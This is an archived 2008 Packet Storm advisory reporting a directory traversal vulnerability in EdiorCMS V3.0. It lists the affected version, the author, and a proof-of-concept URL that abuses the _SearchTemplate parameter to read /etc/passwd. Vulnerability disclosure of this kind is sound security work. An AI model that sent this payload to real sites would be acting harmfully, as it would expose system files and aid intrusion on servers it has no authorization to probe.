ediorcms-traverse.txt

2008-03-13T00:00:00
ID PACKETSTORM:64549
Type packetstorm
Reporter Shennan Wang
Modified 2008-03-13T00:00:00

Description

                                        
                                            `Directory traversal in EdiorCMS V3.0   
  
Application: EdiorCMS V3.0  
Vendor: http://www.edior.com   
Versions: 3.0  
Platforms: ALL  
Bug: Directory traversal  
Exploitation: remote  
Date: 13 Mar 2008  
Author: Shennan Wang  
e-mail: wsn1983@gmail.com  
POC: http://site/ecms/search.php?_SearchKeyWord=&_SearchField=Title&_SearchTemplate=../../../../../../etc/passwd  
  
`